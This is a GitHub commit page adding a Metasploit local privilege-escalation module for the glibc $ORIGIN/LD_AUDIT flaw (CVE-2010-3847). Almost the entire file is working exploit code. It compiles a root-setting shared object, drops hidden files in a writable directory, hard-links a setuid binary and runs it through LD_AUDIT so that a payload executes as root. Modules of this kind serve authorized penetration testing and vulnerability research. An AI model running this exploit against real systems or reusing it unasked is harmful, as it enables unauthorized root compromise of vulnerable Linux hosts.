Skip to content

Commit 0ba37f8

Browse files
bcolesh00die
authored andcommitted
Add glibc $ORIGIN Expansion Privilege Escalation exploit
1 parent cb1b595 commit 0ba37f8

File tree

1 file changed

+221
-0
lines changed

1 file changed

+221
-0
lines changed
Lines changed: 221 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,221 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/exploit/local/linux'
7+
require 'msf/core/exploit/exe'
8+
9+
class MetasploitModule < Msf::Exploit::Local
10+
Rank = ExcellentRanking
11+
12+
include Msf::Post::File
13+
include Msf::Exploit::EXE
14+
include Msf::Exploit::FileDropper
15+
include Msf::Exploit::Local::Linux
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => "glibc '$ORIGIN' Expansion Privilege Escalation",
20+
'Description' => %q{
21+
This module attempts to gain root privileges on Linux systems by abusing
22+
a vulnerability in the GNU C Library (glibc) dynamic linker.
23+
24+
glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
25+
properly restrict use of the LD_AUDIT environment variable when loading
26+
setuid executables which allows control over the $ORIGIN library search
27+
path resulting in execution of arbitrary shared objects.
28+
29+
This module opens a file descriptor to the specified suid executable via
30+
a hard link, then replaces the hard link with a shared object before
31+
instructing the linker to execute the file descriptor, resulting in
32+
arbitrary code execution.
33+
34+
The specified setuid binary must be readable and located on the same
35+
file system partition as the specified writable directory.
36+
37+
This module has been tested successfully on glibc version 2.5 on CentOS
38+
5.4 (x86_64), 2.5 on CentOS 5.5 (x86_64) and 2.12 on Fedora 13 (i386).
39+
40+
RHEL 5 is reportedly affected, but untested. Some versions of ld.so
41+
hit a failed assertion in dl_open_worker causing exploitation to fail.
42+
},
43+
'License' => MSF_LICENSE,
44+
'Author' =>
45+
[
46+
'Tavis Ormandy', # Discovery and exploit
47+
'Brendan Coles' # Metasploit
48+
],
49+
'DisclosureDate' => 'Oct 18 2010',
50+
'Platform' => 'linux',
51+
'Arch' => [ ARCH_X86, ARCH_X64 ],
52+
'SessionTypes' => [ 'shell', 'meterpreter' ],
53+
'Targets' =>
54+
[
55+
[ 'Automatic', { } ],
56+
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
57+
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
58+
],
59+
'DefaultTarget' => 0,
60+
'References' =>
61+
[
62+
[ 'CVE', '2010-3847' ],
63+
[ 'BID', '44154' ],
64+
[ 'EDB', '15274' ],
65+
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
66+
[ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
67+
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
68+
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ]
69+
]
70+
))
71+
register_options(
72+
[
73+
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a suid executable', '/bin/ping' ]),
74+
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
75+
])
76+
end
77+
78+
def base_dir
79+
datastore['WritableDir']
80+
end
81+
82+
def suid_exe_path
83+
datastore['SUID_EXECUTABLE']
84+
end
85+
86+
def check
87+
glibc_banner = cmd_exec 'ldd --version'
88+
glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
89+
if glibc_version.eql? ''
90+
vprint_error 'Could not determine the GNU C library version'
91+
return CheckCode::Safe
92+
elsif glibc_version >= Gem::Version.new('2.12.2') ||
93+
(glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
94+
vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
95+
return CheckCode::Safe
96+
end
97+
vprint_good "GNU C Library version #{glibc_version} is vulnerable"
98+
99+
unless setuid? suid_exe_path
100+
vprint_error "#{suid_exe_path} is not setuid"
101+
return CheckCode::Detected
102+
end
103+
vprint_good "#{suid_exe_path} is setuid"
104+
105+
unless cmd_exec("test -r #{suid_exe_path} && echo true").include? 'true'
106+
vprint_error("#{suid_exe_path} is not readable")
107+
return CheckCode::Detected
108+
end
109+
vprint_good "#{suid_exe_path} is readable"
110+
111+
CheckCode::Appears
112+
end
113+
114+
def upload_and_chmodx(path, data)
115+
print_status "Writing '#{path}' (#{data.size} bytes) ..."
116+
rm_f path
117+
write_file path, data
118+
cmd_exec "chmod +x '#{path}'"
119+
register_file_for_cleanup path
120+
end
121+
122+
def exploit
123+
check_status = check
124+
125+
if check_status == CheckCode::Appears
126+
print_good 'The target appears to be vulnerable'
127+
elsif check_status == CheckCode::Detected
128+
fail_with Failure::BadConfig, "#{suid_exe_path} is not suid or not readable"
129+
else
130+
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
131+
end
132+
133+
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
134+
payload_path = "#{base_dir}/#{payload_name}"
135+
136+
# Set target
137+
uname = cmd_exec 'uname -m'
138+
vprint_status "System architecture is #{uname}"
139+
if target.name.eql? 'Automatic'
140+
case uname
141+
when 'x86_64'
142+
my_target = targets[2]
143+
when /x86/, /i\d86/
144+
my_target = targets[1]
145+
else
146+
fail_with Failure::NoTarget, 'Unable to automatically select a target'
147+
end
148+
else
149+
my_target = target
150+
end
151+
print_status "Using target: #{my_target.name}"
152+
153+
cpu = nil
154+
case my_target['Arch']
155+
when ARCH_X86
156+
cpu = Metasm::Ia32.new
157+
when ARCH_X64
158+
cpu = Metasm::X86_64.new
159+
else
160+
fail_with Failure::NoTarget, 'Target is not compatible'
161+
end
162+
163+
# Compile shared object
164+
so_stub = %|
165+
extern int setuid(int);
166+
extern int setgid(int);
167+
extern int system(const char *__s);
168+
169+
void init(void) __attribute__((constructor));
170+
171+
void __attribute__((constructor)) init() {
172+
setuid(0);
173+
setgid(0);
174+
system("#{payload_path}");
175+
}
176+
|
177+
178+
begin
179+
so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
180+
rescue
181+
print_error "Metasm encoding failed: #{$ERROR_INFO}"
182+
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
183+
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
184+
fail_with Failure::Unknown, 'Metasm encoding failed'
185+
end
186+
187+
# Upload shared object
188+
so_name = ".#{rand_text_alphanumeric rand(5..10)}"
189+
so_path = "#{base_dir}/#{so_name}"
190+
upload_and_chmodx so_path, so
191+
192+
# Upload exploit
193+
link_name = ".#{rand_text_alphanumeric rand(5..10)}"
194+
link_path = "#{base_dir}/#{link_name}"
195+
fd = rand(10..200)
196+
exp = %(
197+
rm -rf '#{link_path}'
198+
mkdir '#{link_path}'
199+
ln #{suid_exe_path} #{link_path}/#{link_name}
200+
exec #{fd}< #{link_path}/#{link_name}
201+
ls -l /proc/$$/fd/#{fd}
202+
rm -rf '#{link_path}'
203+
ls -l /proc/$$/fd/#{fd}
204+
mv #{so_path} #{link_path}
205+
LD_AUDIT="\\$ORIGIN" exec /proc/self/fd/#{fd}
206+
)
207+
208+
exp_name = ".#{rand_text_alphanumeric rand(5..10)}"
209+
exp_path = "#{base_dir}/#{exp_name}"
210+
upload_and_chmodx exp_path, exp
211+
register_file_for_cleanup link_path
212+
213+
# Upload payload
214+
upload_and_chmodx payload_path, generate_payload_exe
215+
216+
# Launch exploit
217+
print_status 'Launching exploit...'
218+
output = cmd_exec "#{exp_path}&"
219+
output.each_line { |line| vprint_status line.chomp }
220+
end
221+
end

0 commit comments

Comments
 (0)